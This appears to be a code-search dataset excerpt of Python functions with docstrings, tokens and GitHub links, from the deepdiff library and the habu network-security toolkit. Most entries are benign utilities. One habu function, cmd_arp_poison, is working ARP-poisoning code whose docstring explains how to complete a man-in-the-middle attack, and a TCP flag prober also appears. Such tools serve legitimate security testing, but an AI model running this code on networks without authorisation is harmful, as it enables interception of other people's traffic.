def __diff_iterable_with_deephash(self, level): t1_hashtable = self.__create_hashtable(level.t1, level) t2_hashtable = self.__create_hashtable(level.t2, level) t1_hashes = set(t1_hashtable.keys()) t2_hashes = set(t2_hashtable.keys()) hashes_added = t2_hashes - t1_hashes hashes_removed = t1_hashes - t2_hashes if self.report_repetition: for hash_value in hashes_added: for i in t2_hashtable[hash_value].indexes: change_level = level.branch_deeper( notpresent, t2_hashtable[hash_value].item, child_relationship_class=SubscriptableIterableRelationship, # TODO: that might be a lie! child_relationship_param=i ) # TODO: what is this value exactly? self.__report_result('iterable_item_added', change_level) for hash_value in hashes_removed: for i in t1_hashtable[hash_value].indexes: change_level = level.branch_deeper( t1_hashtable[hash_value].item, notpresent, child_relationship_class=SubscriptableIterableRelationship, # TODO: that might be a lie! child_relationship_param=i) self.__report_result('iterable_item_removed', change_level) items_intersect = t2_hashes.intersection(t1_hashes) for hash_value in items_intersect: t1_indexes = t1_hashtable[hash_value].indexes t2_indexes = t2_hashtable[hash_value].indexes t1_indexes_len = len(t1_indexes) t2_indexes_len = len(t2_indexes) if t1_indexes_len != t2_indexes_len: # this is a repetition change! # create "change" entry, keep current level untouched to handle further changes repetition_change_level = level.branch_deeper( t1_hashtable[hash_value].item, t2_hashtable[hash_value].item, # nb: those are equal! child_relationship_class=SubscriptableIterableRelationship, # TODO: that might be a lie! child_relationship_param=t1_hashtable[hash_value] .indexes[0]) repetition_change_level.additional['repetition'] = RemapDict( old_repeat=t1_indexes_len, new_repeat=t2_indexes_len, old_indexes=t1_indexes, new_indexes=t2_indexes) self.__report_result('repetition_change', repetition_change_level) else: for hash_value in hashes_added: change_level = level.branch_deeper( notpresent, t2_hashtable[hash_value].item, child_relationship_class=SubscriptableIterableRelationship, # TODO: that might be a lie! child_relationship_param=t2_hashtable[hash_value].indexes[ 0]) # TODO: what is this value exactly? self.__report_result('iterable_item_added', change_level) for hash_value in hashes_removed: change_level = level.branch_deeper( t1_hashtable[hash_value].item, notpresent, child_relationship_class=SubscriptableIterableRelationship, # TODO: that might be a lie! child_relationship_param=t1_hashtable[hash_value].indexes[ 0]) self.__report_result('iterable_item_removed', change_level)
[ "def", "__diff_iterable_with_deephash", "(", "self", ",", "level", ")", ":", "t1_hashtable", "=", "self", ".", "__create_hashtable", "(", "level", ".", "t1", ",", "level", ")", "t2_hashtable", "=", "self", ".", "__create_hashtable", "(", "level", ".", "t2", ...
Diff of unhashable iterables. Only used when ignoring the order.
[ "Diff", "of", "unhashable", "iterables", ".", "Only", "used", "when", "ignoring", "the", "order", "." ]
a66879190fadc671632f154c1fcb82f5c3cef800
https://github.com/seperman/deepdiff/blob/a66879190fadc671632f154c1fcb82f5c3cef800/deepdiff/diff.py#L491-L562
225,915
seperman/deepdiff
deepdiff/diff.py
DeepDiff.to_dict
def to_dict(self): """ Dump dictionary of the text view. It does not matter which view you are currently in. It will give you the dictionary of the text view. """ if self.view == TREE_VIEW: result = dict(self._get_view_results(view=TEXT_VIEW)) else: result = dict(self) return result
python
def to_dict(self): if self.view == TREE_VIEW: result = dict(self._get_view_results(view=TEXT_VIEW)) else: result = dict(self) return result
[ "def", "to_dict", "(", "self", ")", ":", "if", "self", ".", "view", "==", "TREE_VIEW", ":", "result", "=", "dict", "(", "self", ".", "_get_view_results", "(", "view", "=", "TEXT_VIEW", ")", ")", "else", ":", "result", "=", "dict", "(", "self", ")", ...
Dump dictionary of the text view. It does not matter which view you are currently in. It will give you the dictionary of the text view.
[ "Dump", "dictionary", "of", "the", "text", "view", ".", "It", "does", "not", "matter", "which", "view", "you", "are", "currently", "in", ".", "It", "will", "give", "you", "the", "dictionary", "of", "the", "text", "view", "." ]
a66879190fadc671632f154c1fcb82f5c3cef800
https://github.com/seperman/deepdiff/blob/a66879190fadc671632f154c1fcb82f5c3cef800/deepdiff/diff.py#L712-L720
225,916
seperman/deepdiff
deepdiff/helper.py
short_repr
def short_repr(item, max_length=15): """Short representation of item if it is too long""" item = repr(item) if len(item) > max_length: item = '{}...{}'.format(item[:max_length - 3], item[-1]) return item
python
def short_repr(item, max_length=15): item = repr(item) if len(item) > max_length: item = '{}...{}'.format(item[:max_length - 3], item[-1]) return item
[ "def", "short_repr", "(", "item", ",", "max_length", "=", "15", ")", ":", "item", "=", "repr", "(", "item", ")", "if", "len", "(", "item", ")", ">", "max_length", ":", "item", "=", "'{}...{}'", ".", "format", "(", "item", "[", ":", "max_length", "-...
Short representation of item if it is too long
[ "Short", "representation", "of", "item", "if", "it", "is", "too", "long" ]
a66879190fadc671632f154c1fcb82f5c3cef800
https://github.com/seperman/deepdiff/blob/a66879190fadc671632f154c1fcb82f5c3cef800/deepdiff/helper.py#L46-L51
225,917
seperman/deepdiff
deepdiff/helper.py
number_to_string
def number_to_string(number, significant_digits, number_format_notation="f"): """ Convert numbers to string considering significant digits. """ try: using = number_formatting[number_format_notation] except KeyError: raise ValueError("number_format_notation got invalid value of {}. The valid values are 'f' and 'e'".format(number_format_notation)) from None if isinstance(number, Decimal): tup = number.as_tuple() with localcontext() as ctx: ctx.prec = len(tup.digits) + tup.exponent + significant_digits number = number.quantize(Decimal('0.' + '0' * significant_digits)) result = (using % significant_digits).format(number) # Special case for 0: "-0.00" should compare equal to "0.00" if set(result) <= ZERO_DECIMAL_CHARACTERS: result = "0.00" # https://bugs.python.org/issue36622 if number_format_notation == 'e' and isinstance(number, float): result = result.replace('+0', '+') return result
python
def number_to_string(number, significant_digits, number_format_notation="f"): try: using = number_formatting[number_format_notation] except KeyError: raise ValueError("number_format_notation got invalid value of {}. The valid values are 'f' and 'e'".format(number_format_notation)) from None if isinstance(number, Decimal): tup = number.as_tuple() with localcontext() as ctx: ctx.prec = len(tup.digits) + tup.exponent + significant_digits number = number.quantize(Decimal('0.' + '0' * significant_digits)) result = (using % significant_digits).format(number) # Special case for 0: "-0.00" should compare equal to "0.00" if set(result) <= ZERO_DECIMAL_CHARACTERS: result = "0.00" # https://bugs.python.org/issue36622 if number_format_notation == 'e' and isinstance(number, float): result = result.replace('+0', '+') return result
[ "def", "number_to_string", "(", "number", ",", "significant_digits", ",", "number_format_notation", "=", "\"f\"", ")", ":", "try", ":", "using", "=", "number_formatting", "[", "number_format_notation", "]", "except", "KeyError", ":", "raise", "ValueError", "(", "\...
Convert numbers to string considering significant digits.
[ "Convert", "numbers", "to", "string", "considering", "significant", "digits", "." ]
a66879190fadc671632f154c1fcb82f5c3cef800
https://github.com/seperman/deepdiff/blob/a66879190fadc671632f154c1fcb82f5c3cef800/deepdiff/helper.py#L227-L247
225,918
seperman/deepdiff
deepdiff/deephash.py
prepare_string_for_hashing
def prepare_string_for_hashing(obj, ignore_string_type_changes=False, ignore_string_case=False): """ Clean type conversions """ original_type = obj.__class__.__name__ if isinstance(obj, bytes): obj = obj.decode('utf-8') if not ignore_string_type_changes: obj = KEY_TO_VAL_STR.format(original_type, obj) if ignore_string_case: obj = obj.lower() return obj
python
def prepare_string_for_hashing(obj, ignore_string_type_changes=False, ignore_string_case=False): original_type = obj.__class__.__name__ if isinstance(obj, bytes): obj = obj.decode('utf-8') if not ignore_string_type_changes: obj = KEY_TO_VAL_STR.format(original_type, obj) if ignore_string_case: obj = obj.lower() return obj
[ "def", "prepare_string_for_hashing", "(", "obj", ",", "ignore_string_type_changes", "=", "False", ",", "ignore_string_case", "=", "False", ")", ":", "original_type", "=", "obj", ".", "__class__", ".", "__name__", "if", "isinstance", "(", "obj", ",", "bytes", ")"...
Clean type conversions
[ "Clean", "type", "conversions" ]
a66879190fadc671632f154c1fcb82f5c3cef800
https://github.com/seperman/deepdiff/blob/a66879190fadc671632f154c1fcb82f5c3cef800/deepdiff/deephash.py#L30-L41
225,919
seperman/deepdiff
deepdiff/search.py
DeepSearch.__search_iterable
def __search_iterable(self, obj, item, parent="root", parents_ids=frozenset({})): """Search iterables except dictionaries, sets and strings.""" for i, thing in enumerate(obj): new_parent = "%s[%s]" % (parent, i) if self.__skip_this(thing, parent=new_parent): continue if self.case_sensitive or not isinstance(thing, strings): thing_cased = thing else: thing_cased = thing.lower() if thing_cased == item: self.__report( report_key='matched_values', key=new_parent, value=thing) else: item_id = id(thing) if parents_ids and item_id in parents_ids: continue parents_ids_added = add_to_frozen_set(parents_ids, item_id) self.__search(thing, item, "%s[%s]" % (parent, i), parents_ids_added)
python
def __search_iterable(self, obj, item, parent="root", parents_ids=frozenset({})): for i, thing in enumerate(obj): new_parent = "%s[%s]" % (parent, i) if self.__skip_this(thing, parent=new_parent): continue if self.case_sensitive or not isinstance(thing, strings): thing_cased = thing else: thing_cased = thing.lower() if thing_cased == item: self.__report( report_key='matched_values', key=new_parent, value=thing) else: item_id = id(thing) if parents_ids and item_id in parents_ids: continue parents_ids_added = add_to_frozen_set(parents_ids, item_id) self.__search(thing, item, "%s[%s]" % (parent, i), parents_ids_added)
[ "def", "__search_iterable", "(", "self", ",", "obj", ",", "item", ",", "parent", "=", "\"root\"", ",", "parents_ids", "=", "frozenset", "(", "{", "}", ")", ")", ":", "for", "i", ",", "thing", "in", "enumerate", "(", "obj", ")", ":", "new_parent", "="...
Search iterables except dictionaries, sets and strings.
[ "Search", "iterables", "except", "dictionaries", "sets", "and", "strings", "." ]
a66879190fadc671632f154c1fcb82f5c3cef800
https://github.com/seperman/deepdiff/blob/a66879190fadc671632f154c1fcb82f5c3cef800/deepdiff/search.py#L220-L246
225,920
seperman/deepdiff
deepdiff/search.py
DeepSearch.__search
def __search(self, obj, item, parent="root", parents_ids=frozenset({})): """The main search method""" if self.__skip_this(item, parent): return elif isinstance(obj, strings) and isinstance(item, strings): self.__search_str(obj, item, parent) elif isinstance(obj, strings) and isinstance(item, numbers): return elif isinstance(obj, numbers): self.__search_numbers(obj, item, parent) elif isinstance(obj, MutableMapping): self.__search_dict(obj, item, parent, parents_ids) elif isinstance(obj, tuple): self.__search_tuple(obj, item, parent, parents_ids) elif isinstance(obj, (set, frozenset)): if self.warning_num < 10: logger.warning( "Set item detected in the path." "'set' objects do NOT support indexing. But DeepSearch will still report a path." ) self.warning_num += 1 self.__search_iterable(obj, item, parent, parents_ids) elif isinstance(obj, Iterable): self.__search_iterable(obj, item, parent, parents_ids) else: self.__search_obj(obj, item, parent, parents_ids)
python
def __search(self, obj, item, parent="root", parents_ids=frozenset({})): if self.__skip_this(item, parent): return elif isinstance(obj, strings) and isinstance(item, strings): self.__search_str(obj, item, parent) elif isinstance(obj, strings) and isinstance(item, numbers): return elif isinstance(obj, numbers): self.__search_numbers(obj, item, parent) elif isinstance(obj, MutableMapping): self.__search_dict(obj, item, parent, parents_ids) elif isinstance(obj, tuple): self.__search_tuple(obj, item, parent, parents_ids) elif isinstance(obj, (set, frozenset)): if self.warning_num < 10: logger.warning( "Set item detected in the path." "'set' objects do NOT support indexing. But DeepSearch will still report a path." ) self.warning_num += 1 self.__search_iterable(obj, item, parent, parents_ids) elif isinstance(obj, Iterable): self.__search_iterable(obj, item, parent, parents_ids) else: self.__search_obj(obj, item, parent, parents_ids)
[ "def", "__search", "(", "self", ",", "obj", ",", "item", ",", "parent", "=", "\"root\"", ",", "parents_ids", "=", "frozenset", "(", "{", "}", ")", ")", ":", "if", "self", ".", "__skip_this", "(", "item", ",", "parent", ")", ":", "return", "elif", "...
The main search method
[ "The", "main", "search", "method" ]
a66879190fadc671632f154c1fcb82f5c3cef800
https://github.com/seperman/deepdiff/blob/a66879190fadc671632f154c1fcb82f5c3cef800/deepdiff/search.py#L272-L306
225,921
portantier/habu
habu/cli/cmd_arp_poison.py
cmd_arp_poison
def cmd_arp_poison(victim1, victim2, iface, verbose): """Send ARP 'is-at' packets to each victim, poisoning their ARP tables for send the traffic to your system. Note: If you want a full working Man In The Middle attack, you need to enable the packet forwarding on your operating system to act like a router. You can do that using: # echo 1 > /proc/sys/net/ipv4/ip_forward Example: \b # habu.arpoison 192.168.0.1 192.168.0.77 Ether / ARP is at f4:96:34:e5:ae:1b says 192.168.0.77 Ether / ARP is at f4:96:34:e5:ae:1b says 192.168.0.70 Ether / ARP is at f4:96:34:e5:ae:1b says 192.168.0.77 ... """ conf.verb = False if iface: conf.iface = iface mac1 = getmacbyip(victim1) mac2 = getmacbyip(victim2) pkt1 = Ether(dst=mac1)/ARP(op="is-at", psrc=victim2, pdst=victim1, hwdst=mac1) pkt2 = Ether(dst=mac2)/ARP(op="is-at", psrc=victim1, pdst=victim2, hwdst=mac2) try: while 1: sendp(pkt1) sendp(pkt2) if verbose: pkt1.show2() pkt2.show2() else: print(pkt1.summary()) print(pkt2.summary()) time.sleep(1) except KeyboardInterrupt: pass
python
def cmd_arp_poison(victim1, victim2, iface, verbose): conf.verb = False if iface: conf.iface = iface mac1 = getmacbyip(victim1) mac2 = getmacbyip(victim2) pkt1 = Ether(dst=mac1)/ARP(op="is-at", psrc=victim2, pdst=victim1, hwdst=mac1) pkt2 = Ether(dst=mac2)/ARP(op="is-at", psrc=victim1, pdst=victim2, hwdst=mac2) try: while 1: sendp(pkt1) sendp(pkt2) if verbose: pkt1.show2() pkt2.show2() else: print(pkt1.summary()) print(pkt2.summary()) time.sleep(1) except KeyboardInterrupt: pass
[ "def", "cmd_arp_poison", "(", "victim1", ",", "victim2", ",", "iface", ",", "verbose", ")", ":", "conf", ".", "verb", "=", "False", "if", "iface", ":", "conf", ".", "iface", "=", "iface", "mac1", "=", "getmacbyip", "(", "victim1", ")", "mac2", "=", "...
Send ARP 'is-at' packets to each victim, poisoning their ARP tables for send the traffic to your system. Note: If you want a full working Man In The Middle attack, you need to enable the packet forwarding on your operating system to act like a router. You can do that using: # echo 1 > /proc/sys/net/ipv4/ip_forward Example: \b # habu.arpoison 192.168.0.1 192.168.0.77 Ether / ARP is at f4:96:34:e5:ae:1b says 192.168.0.77 Ether / ARP is at f4:96:34:e5:ae:1b says 192.168.0.70 Ether / ARP is at f4:96:34:e5:ae:1b says 192.168.0.77 ...
[ "Send", "ARP", "is", "-", "at", "packets", "to", "each", "victim", "poisoning", "their", "ARP", "tables", "for", "send", "the", "traffic", "to", "your", "system", "." ]
87091e389dc6332fe1b82830c22b2eefc55816f2
https://github.com/portantier/habu/blob/87091e389dc6332fe1b82830c22b2eefc55816f2/habu/cli/cmd_arp_poison.py#L18-L64
225,922
portantier/habu
habu/lib/http.py
get_headers
def get_headers(server): """Retrieve all HTTP headers""" try: response = requests.head( server, allow_redirects=False, verify=False, timeout=5) except requests.exceptions.ConnectionError: return False return dict(response.headers)
python
def get_headers(server): try: response = requests.head( server, allow_redirects=False, verify=False, timeout=5) except requests.exceptions.ConnectionError: return False return dict(response.headers)
[ "def", "get_headers", "(", "server", ")", ":", "try", ":", "response", "=", "requests", ".", "head", "(", "server", ",", "allow_redirects", "=", "False", ",", "verify", "=", "False", ",", "timeout", "=", "5", ")", "except", "requests", ".", "exceptions",...
Retrieve all HTTP headers
[ "Retrieve", "all", "HTTP", "headers" ]
87091e389dc6332fe1b82830c22b2eefc55816f2
https://github.com/portantier/habu/blob/87091e389dc6332fe1b82830c22b2eefc55816f2/habu/lib/http.py#L8-L16
225,923
portantier/habu
habu/lib/http.py
get_options
def get_options(server): """Retrieve the available HTTP verbs""" try: response = requests.options( server, allow_redirects=False, verify=False, timeout=5) except (requests.exceptions.ConnectionError, requests.exceptions.MissingSchema): return "Server {} is not available!".format(server) try: return {'allowed': response.headers['Allow']} except KeyError: return "Unable to get HTTP methods"
python
def get_options(server): try: response = requests.options( server, allow_redirects=False, verify=False, timeout=5) except (requests.exceptions.ConnectionError, requests.exceptions.MissingSchema): return "Server {} is not available!".format(server) try: return {'allowed': response.headers['Allow']} except KeyError: return "Unable to get HTTP methods"
[ "def", "get_options", "(", "server", ")", ":", "try", ":", "response", "=", "requests", ".", "options", "(", "server", ",", "allow_redirects", "=", "False", ",", "verify", "=", "False", ",", "timeout", "=", "5", ")", "except", "(", "requests", ".", "ex...
Retrieve the available HTTP verbs
[ "Retrieve", "the", "available", "HTTP", "verbs" ]
87091e389dc6332fe1b82830c22b2eefc55816f2
https://github.com/portantier/habu/blob/87091e389dc6332fe1b82830c22b2eefc55816f2/habu/lib/http.py#L19-L31
225,924
portantier/habu
habu/cli/cmd_ping.py
cmd_ping
def cmd_ping(ip, interface, count, timeout, wait, verbose): """The classic ping tool that send ICMP echo requests. \b # habu.ping 8.8.8.8 IP / ICMP 8.8.8.8 > 192.168.0.5 echo-reply 0 / Padding IP / ICMP 8.8.8.8 > 192.168.0.5 echo-reply 0 / Padding IP / ICMP 8.8.8.8 > 192.168.0.5 echo-reply 0 / Padding IP / ICMP 8.8.8.8 > 192.168.0.5 echo-reply 0 / Padding """ if interface: conf.iface = interface conf.verb = False conf.L3socket=L3RawSocket layer3 = IP() layer3.dst = ip layer3.tos = 0 layer3.id = 1 layer3.flags = 0 layer3.frag = 0 layer3.ttl = 64 layer3.proto = 1 # icmp layer4 = ICMP() layer4.type = 8 # echo-request layer4.code = 0 layer4.id = 0 layer4.seq = 0 pkt = layer3 / layer4 counter = 0 while True: ans = sr1(pkt, timeout=timeout) if ans: if verbose: ans.show() else: print(ans.summary()) del(ans) else: print('Timeout') counter += 1 if count != 0 and counter == count: break sleep(wait) return True
python
def cmd_ping(ip, interface, count, timeout, wait, verbose): if interface: conf.iface = interface conf.verb = False conf.L3socket=L3RawSocket layer3 = IP() layer3.dst = ip layer3.tos = 0 layer3.id = 1 layer3.flags = 0 layer3.frag = 0 layer3.ttl = 64 layer3.proto = 1 # icmp layer4 = ICMP() layer4.type = 8 # echo-request layer4.code = 0 layer4.id = 0 layer4.seq = 0 pkt = layer3 / layer4 counter = 0 while True: ans = sr1(pkt, timeout=timeout) if ans: if verbose: ans.show() else: print(ans.summary()) del(ans) else: print('Timeout') counter += 1 if count != 0 and counter == count: break sleep(wait) return True
[ "def", "cmd_ping", "(", "ip", ",", "interface", ",", "count", ",", "timeout", ",", "wait", ",", "verbose", ")", ":", "if", "interface", ":", "conf", ".", "iface", "=", "interface", "conf", ".", "verb", "=", "False", "conf", ".", "L3socket", "=", "L3R...
The classic ping tool that send ICMP echo requests. \b # habu.ping 8.8.8.8 IP / ICMP 8.8.8.8 > 192.168.0.5 echo-reply 0 / Padding IP / ICMP 8.8.8.8 > 192.168.0.5 echo-reply 0 / Padding IP / ICMP 8.8.8.8 > 192.168.0.5 echo-reply 0 / Padding IP / ICMP 8.8.8.8 > 192.168.0.5 echo-reply 0 / Padding
[ "The", "classic", "ping", "tool", "that", "send", "ICMP", "echo", "requests", "." ]
87091e389dc6332fe1b82830c22b2eefc55816f2
https://github.com/portantier/habu/blob/87091e389dc6332fe1b82830c22b2eefc55816f2/habu/cli/cmd_ping.py#L20-L74
225,925
portantier/habu
habu/cli/cmd_host.py
cmd_host
def cmd_host(verbose): """Collect information about the host where habu is running. Example: \b $ habu.host { "kernel": [ "Linux", "demo123", "5.0.6-200.fc29.x86_64", "#1 SMP Wed Apr 3 15:09:51 UTC 2019", "x86_64", "x86_64" ], "distribution": [ "Fedora", "29", "Twenty Nine" ], "libc": [ "glibc", "2.2.5" ], "arch": "x86_64", "python_version": "3.7.3", "os_name": "Linux", "cpu": "x86_64", "static_hostname": "demo123", "fqdn": "demo123.lab.sierra" } """ if verbose: logging.basicConfig(level=logging.INFO, format='%(message)s') print("Gather information about the host...", file=sys.stderr) result = gather_details() if result: print(json.dumps(result, indent=4)) else: print("[X] Unable to gather information") return True
python
def cmd_host(verbose): if verbose: logging.basicConfig(level=logging.INFO, format='%(message)s') print("Gather information about the host...", file=sys.stderr) result = gather_details() if result: print(json.dumps(result, indent=4)) else: print("[X] Unable to gather information") return True
[ "def", "cmd_host", "(", "verbose", ")", ":", "if", "verbose", ":", "logging", ".", "basicConfig", "(", "level", "=", "logging", ".", "INFO", ",", "format", "=", "'%(message)s'", ")", "print", "(", "\"Gather information about the host...\"", ",", "file", "=", ...
Collect information about the host where habu is running. Example: \b $ habu.host { "kernel": [ "Linux", "demo123", "5.0.6-200.fc29.x86_64", "#1 SMP Wed Apr 3 15:09:51 UTC 2019", "x86_64", "x86_64" ], "distribution": [ "Fedora", "29", "Twenty Nine" ], "libc": [ "glibc", "2.2.5" ], "arch": "x86_64", "python_version": "3.7.3", "os_name": "Linux", "cpu": "x86_64", "static_hostname": "demo123", "fqdn": "demo123.lab.sierra" }
[ "Collect", "information", "about", "the", "host", "where", "habu", "is", "running", "." ]
87091e389dc6332fe1b82830c22b2eefc55816f2
https://github.com/portantier/habu/blob/87091e389dc6332fe1b82830c22b2eefc55816f2/habu/cli/cmd_host.py#L14-L58
225,926
portantier/habu
habu/cli/cmd_extract_hostname.py
cmd_extract_hostname
def cmd_extract_hostname(infile, check, verbose, jsonout): """Extract hostnames from a file or stdin. Example: \b $ cat /var/log/some.log | habu.extract.hostname www.google.com ibm.com fileserver.redhat.com """ if verbose: logging.basicConfig(level=logging.INFO, format='%(message)s') data = infile.read() result = extract_hostname(data) if check: logging.info('Checking against DNS...') for candidate in result: try: socket.getaddrinfo(candidate, None) except socket.gaierror: result.remove(candidate) if jsonout: print(json.dumps(result, indent=4)) else: print('\n'.join(result))
python
def cmd_extract_hostname(infile, check, verbose, jsonout): if verbose: logging.basicConfig(level=logging.INFO, format='%(message)s') data = infile.read() result = extract_hostname(data) if check: logging.info('Checking against DNS...') for candidate in result: try: socket.getaddrinfo(candidate, None) except socket.gaierror: result.remove(candidate) if jsonout: print(json.dumps(result, indent=4)) else: print('\n'.join(result))
[ "def", "cmd_extract_hostname", "(", "infile", ",", "check", ",", "verbose", ",", "jsonout", ")", ":", "if", "verbose", ":", "logging", ".", "basicConfig", "(", "level", "=", "logging", ".", "INFO", ",", "format", "=", "'%(message)s'", ")", "data", "=", "...
Extract hostnames from a file or stdin. Example: \b $ cat /var/log/some.log | habu.extract.hostname www.google.com ibm.com fileserver.redhat.com
[ "Extract", "hostnames", "from", "a", "file", "or", "stdin", "." ]
87091e389dc6332fe1b82830c22b2eefc55816f2
https://github.com/portantier/habu/blob/87091e389dc6332fe1b82830c22b2eefc55816f2/habu/cli/cmd_extract_hostname.py#L41-L71
225,927
portantier/habu
habu/cli/cmd_b64.py
cmd_b64
def cmd_b64(f, do_decode): """ Encodes or decode data in base64, just like the command base64. \b $ echo awesome | habu.b64 YXdlc29tZQo= \b $ echo YXdlc29tZQo= | habu.b64 -d awesome """ data = f.read() if not data: print("Empty file or string!") return 1 if do_decode: os.write(sys.stdout.fileno(), base64.b64decode(data)) else: os.write(sys.stdout.fileno(), base64.b64encode(data))
python
def cmd_b64(f, do_decode): data = f.read() if not data: print("Empty file or string!") return 1 if do_decode: os.write(sys.stdout.fileno(), base64.b64decode(data)) else: os.write(sys.stdout.fileno(), base64.b64encode(data))
[ "def", "cmd_b64", "(", "f", ",", "do_decode", ")", ":", "data", "=", "f", ".", "read", "(", ")", "if", "not", "data", ":", "print", "(", "\"Empty file or string!\"", ")", "return", "1", "if", "do_decode", ":", "os", ".", "write", "(", "sys", ".", "...
Encodes or decode data in base64, just like the command base64. \b $ echo awesome | habu.b64 YXdlc29tZQo= \b $ echo YXdlc29tZQo= | habu.b64 -d awesome
[ "Encodes", "or", "decode", "data", "in", "base64", "just", "like", "the", "command", "base64", "." ]
87091e389dc6332fe1b82830c22b2eefc55816f2
https://github.com/portantier/habu/blob/87091e389dc6332fe1b82830c22b2eefc55816f2/habu/cli/cmd_b64.py#L13-L35
225,928
portantier/habu
habu/cli/cmd_shodan.py
cmd_shodan
def cmd_shodan(ip, no_cache, verbose, output): """Simple shodan API client. Prints the JSON result of a shodan query. Example: \b $ habu.shodan 8.8.8.8 { "hostnames": [ "google-public-dns-a.google.com" ], "country_code": "US", "org": "Google", "data": [ { "isp": "Google", "transport": "udp", "data": "Recursion: enabled", "asn": "AS15169", "port": 53, "hostnames": [ "google-public-dns-a.google.com" ] } ], "ports": [ 53 ] } """ habucfg = loadcfg() if 'SHODAN_APIKEY' not in habucfg: print('You must provide a shodan apikey. Use the ~/.habu.json file (variable SHODAN_APIKEY), or export the variable HABU_SHODAN_APIKEY') print('Get your API key from https://www.shodan.io/') sys.exit(1) if verbose: logging.basicConfig(level=logging.INFO, format='%(message)s') data = shodan_get_result(ip, habucfg['SHODAN_APIKEY'], no_cache, verbose) output.write(json.dumps(data, indent=4)) output.write('\n')
python
def cmd_shodan(ip, no_cache, verbose, output): habucfg = loadcfg() if 'SHODAN_APIKEY' not in habucfg: print('You must provide a shodan apikey. Use the ~/.habu.json file (variable SHODAN_APIKEY), or export the variable HABU_SHODAN_APIKEY') print('Get your API key from https://www.shodan.io/') sys.exit(1) if verbose: logging.basicConfig(level=logging.INFO, format='%(message)s') data = shodan_get_result(ip, habucfg['SHODAN_APIKEY'], no_cache, verbose) output.write(json.dumps(data, indent=4)) output.write('\n')
[ "def", "cmd_shodan", "(", "ip", ",", "no_cache", ",", "verbose", ",", "output", ")", ":", "habucfg", "=", "loadcfg", "(", ")", "if", "'SHODAN_APIKEY'", "not", "in", "habucfg", ":", "print", "(", "'You must provide a shodan apikey. Use the ~/.habu.json file (variable...
Simple shodan API client. Prints the JSON result of a shodan query. Example: \b $ habu.shodan 8.8.8.8 { "hostnames": [ "google-public-dns-a.google.com" ], "country_code": "US", "org": "Google", "data": [ { "isp": "Google", "transport": "udp", "data": "Recursion: enabled", "asn": "AS15169", "port": 53, "hostnames": [ "google-public-dns-a.google.com" ] } ], "ports": [ 53 ] }
[ "Simple", "shodan", "API", "client", "." ]
87091e389dc6332fe1b82830c22b2eefc55816f2
https://github.com/portantier/habu/blob/87091e389dc6332fe1b82830c22b2eefc55816f2/habu/cli/cmd_shodan.py#L20-L66
225,929
portantier/habu
habu/cli/cmd_hasher.py
cmd_hasher
def cmd_hasher(f, algorithm): """Compute various hashes for the input data, that can be a file or a stream. Example: \b $ habu.hasher README.rst md5 992a833cd162047daaa6a236b8ac15ae README.rst ripemd160 0566f9141e65e57cae93e0e3b70d1d8c2ccb0623 README.rst sha1 d7dbfd2c5e2828eb22f776550c826e4166526253 README.rst sha256 6bb22d927e1b6307ced616821a1877b6cc35e... README.rst sha512 8743f3eb12a11cf3edcc16e400fb14d599b4a... README.rst whirlpool 96bcc083242e796992c0f3462f330811f9e8c... README.rst You can also specify which algorithm to use. In such case, the output is only the value of the calculated hash: \b $ habu.hasher -a md5 README.rst 992a833cd162047daaa6a236b8ac15ae README.rst """ data = f.read() if not data: print("Empty file or string!") return 1 if algorithm: print(hasher(data, algorithm)[algorithm], f.name) else: for algo, result in hasher(data).items(): print("{:<12} {} {}".format(algo, result, f.name))
python
def cmd_hasher(f, algorithm): data = f.read() if not data: print("Empty file or string!") return 1 if algorithm: print(hasher(data, algorithm)[algorithm], f.name) else: for algo, result in hasher(data).items(): print("{:<12} {} {}".format(algo, result, f.name))
[ "def", "cmd_hasher", "(", "f", ",", "algorithm", ")", ":", "data", "=", "f", ".", "read", "(", ")", "if", "not", "data", ":", "print", "(", "\"Empty file or string!\"", ")", "return", "1", "if", "algorithm", ":", "print", "(", "hasher", "(", "data", ...
Compute various hashes for the input data, that can be a file or a stream. Example: \b $ habu.hasher README.rst md5 992a833cd162047daaa6a236b8ac15ae README.rst ripemd160 0566f9141e65e57cae93e0e3b70d1d8c2ccb0623 README.rst sha1 d7dbfd2c5e2828eb22f776550c826e4166526253 README.rst sha256 6bb22d927e1b6307ced616821a1877b6cc35e... README.rst sha512 8743f3eb12a11cf3edcc16e400fb14d599b4a... README.rst whirlpool 96bcc083242e796992c0f3462f330811f9e8c... README.rst You can also specify which algorithm to use. In such case, the output is only the value of the calculated hash: \b $ habu.hasher -a md5 README.rst 992a833cd162047daaa6a236b8ac15ae README.rst
[ "Compute", "various", "hashes", "for", "the", "input", "data", "that", "can", "be", "a", "file", "or", "a", "stream", "." ]
87091e389dc6332fe1b82830c22b2eefc55816f2
https://github.com/portantier/habu/blob/87091e389dc6332fe1b82830c22b2eefc55816f2/habu/cli/cmd_hasher.py#L11-L43
225,930
portantier/habu
habu/cli/cmd_tcpflags.py
cmd_tcpflags
def cmd_tcpflags(ip, port, flags, rflags, verbose): """Send TCP packets with different flags and tell what responses receives. It can be used to analyze how the different TCP/IP stack implementations and configurations responds to packet with various flag combinations. Example: \b # habu.tcpflags www.portantier.com S -> SA FS -> SA FA -> R SA -> R By default, the command sends all possible flag combinations. You can specify which flags must ever be present (reducing the quantity of possible combinations), with the option '-f'. Also, you can specify which flags you want to be present on the response packets to show, with the option '-r'. With the next command, you see all the possible combinations that have the FIN (F) flag set and generates a response that contains the RST (R) flag. Example: \b # habu.tcpflags -f F -r R www.portantier.com FPA -> R FSPA -> R FAU -> R """ conf.verb = False pkts = IP(dst=ip) / TCP(flags=(0, 255), dport=port) out = "{:>8} -> {:<8}" for pkt in pkts: if not flags or all(i in pkt.sprintf(r"%TCP.flags%") for i in flags): ans = sr1(pkt, timeout=0.2) if ans: if not rflags or all(i in ans.sprintf(r"%TCP.flags%") for i in rflags): print(out.format(pkt.sprintf(r"%TCP.flags%"), ans.sprintf(r"%TCP.flags%"))) return True
python
def cmd_tcpflags(ip, port, flags, rflags, verbose): conf.verb = False pkts = IP(dst=ip) / TCP(flags=(0, 255), dport=port) out = "{:>8} -> {:<8}" for pkt in pkts: if not flags or all(i in pkt.sprintf(r"%TCP.flags%") for i in flags): ans = sr1(pkt, timeout=0.2) if ans: if not rflags or all(i in ans.sprintf(r"%TCP.flags%") for i in rflags): print(out.format(pkt.sprintf(r"%TCP.flags%"), ans.sprintf(r"%TCP.flags%"))) return True
